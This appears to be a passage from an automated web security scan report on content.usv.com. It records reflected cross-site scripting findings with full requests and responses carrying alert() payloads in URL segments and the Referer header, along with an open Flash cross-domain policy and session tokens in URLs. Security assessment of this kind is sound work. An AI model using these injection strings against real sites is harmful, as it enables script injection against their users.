Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:19 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31835
Date: Wed, 09 Nov 2011 13:51:19 GMT
X-Varnish: 1395037543
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
e="text/javascript">
   var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/d60af";alert(1)//7a16ef3a6c6//aba97bdb741/canvas";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https:" == do
...[SNIP]...

1.12. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 2 is copied into the name of an HTML tag attribute. The payload 74860><script>alert(1)</script>302c457f4b3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb74174860><script>alert(1)</script>302c457f4b3/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:22 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32106
Date: Wed, 09 Nov 2011 13:51:22 GMT
X-Varnish: 1395037733
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
l will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb74174860><script>alert(1)</script>302c457f4b3/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb74174860>
...[SNIP]...

1.13. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c8d99<script>alert(1)</script>7718677d3d8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741c8d99<script>alert(1)</script>7718677d3d8/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:23 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32095
Date: Wed, 09 Nov 2011 13:51:23 GMT
X-Varnish: 1395037798
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
</script>7718677d3d8/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741c8d99<script>alert(1)</script>7718677d3d8/canvas%0AReferrer: http://burp/show/8">
...[SNIP]...

1.14. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload 4c274%0aalert(1)//a73f9f831ec was submitted in the REST URL parameter 2. This input was echoed as 4c274
alert(1)//a73f9f831ec
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb7414c274%0aalert(1)//a73f9f831ec/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:24 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32001
Date: Wed, 09 Nov 2011 13:51:24 GMT
X-Varnish: 1395037924
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/pagese1e84";alert('Vulnerable')//aba97bdb7414c274
alert(1)//a73f9f831ec
/canvas";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https:" == document.locati
...[SNIP]...

1.15. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a0983<script>alert(1)</script>560cebfacab was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvasa0983<script>alert(1)</script>560cebfacab HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:26 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32095
Date: Wed, 09 Nov 2011 13:51:26 GMT
X-Varnish: 1395038142
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
</script>560cebfacab%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741/canvasa0983<script>alert(1)</script>560cebfacab%0AReferrer: http://burp/show/8">
...[SNIP]...

1.16. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript rest-of-line comment. The payload 13710%0aalert(1)//18109b35891 was submitted in the REST URL parameter 3. This input was echoed as 13710
alert(1)//18109b35891
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas13710%0aalert(1)//18109b35891 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:27 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32000
Date: Wed, 09 Nov 2011 13:51:27 GMT
X-Varnish: 1395038204
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
0,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas13710
alert(1)//18109b35891
";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https:" == document.location.prot
...[SNIP]...

1.17. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 3 is copied into the name of an HTML tag attribute. The payload 51524><script>alert(1)</script>4f0836ef3ba was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas51524><script>alert(1)</script>4f0836ef3ba HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:25 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32106
Date: Wed, 09 Nov 2011 13:51:25 GMT
X-Varnish: 1395038011
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas51524><script>alert(1)</script>4f0836ef3ba%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741/canvas51524>
...[SNIP]...

1.18. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 80fc5><script>alert(1)</script>bcd3408276c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=80fc5><script>alert(1)</script>bcd3408276c
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:16 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32007
Date: Wed, 09 Nov 2011 13:51:16 GMT
X-Varnish: 1395037285
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
tent.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741/canvas%0AReferrer: http://www.google.com/search?hl=en&q=80fc5><script>alert(1)</script>bcd3408276c">
...[SNIP]...

1.19. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload 20ec0><script>alert(1)</script>17e8f7c0c1e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: 20ec0><script>alert(1)</script>17e8f7c0c1e
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:15 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31929
Date: Wed, 09 Nov 2011 13:51:15 GMT
X-Varnish: 1395037243
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
4 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741/canvas%0AReferrer: 20ec0><script>alert(1)</script>17e8f7c0c1e">
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: content.usv.com

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Last-Modified: Tue, 03 Jun 2008 21:49:53 GMT
ETag: "447d71-13a-4845bc81"
Content-Type: application/xml
X-Magnify-URL-Class: decor
Content-Length: 314
Date: Wed, 09 Nov 2011 13:20:22 GMT
X-Varnish: 1394906857
Age: 0
Via: 1.1 varnish
Connection: close
X-Cache: MISS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="all"/>
   <allow-access-from domain="*" />
...[SNIP]...

3. Session token in URL  previous  next
There are 3 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


3.1. http://content.usv.com/decor/track/dot.gif  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://content.usv.com
Path:   /decor/track/dot.gif

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /decor/track/dot.gif?sp=enterprise&session_id=8627e717f112147e93421865a81b920b&rand=81597&site=P8TH6404Q1P6NBW1&time=1320844806 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://content.usv.com/pages/canvas
Cookie: mvp_session=8627e717f112147e93421865a81b920b

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: max-age=604800
Expires: Wed, 16 Nov 2011 13:20:59 GMT
Last-Modified: Sat, 28 Apr 2007 18:28:05 GMT
ETag: "112b97e-2b-46339235"
Content-Type: image/gif
X-Magnify-URL-Class: stats
Content-Length: 43
Date: Wed, 09 Nov 2011 13:20:59 GMT
X-Varnish: 1394909576
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

GIF89a.............!.......,...........D..;

3.2. http://content.usv.com/pages/canvas  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://content.usv.com
Path:   /pages/canvas

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /pages/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:22 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 40673
Date: Wed, 09 Nov 2011 13:20:22 GMT
X-Varnish: 1394906787
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
<!-- Begin Magnify.net Tracking Image -->
<img align="right" style="position: absolute; top: 0;" src="/decor/track/dot.gif?sp=enterprise&session_id=8627e717f112147e93421865a81b920b&rand=244468&site=P8TH6404Q1P6NBW1&time=1320844822">
<!-- End Magnify.net Tracking Image -->
...[SNIP]...

3.3. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31866
Date: Wed, 09 Nov 2011 13:51:04 GMT
X-Varnish: 1395036215
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


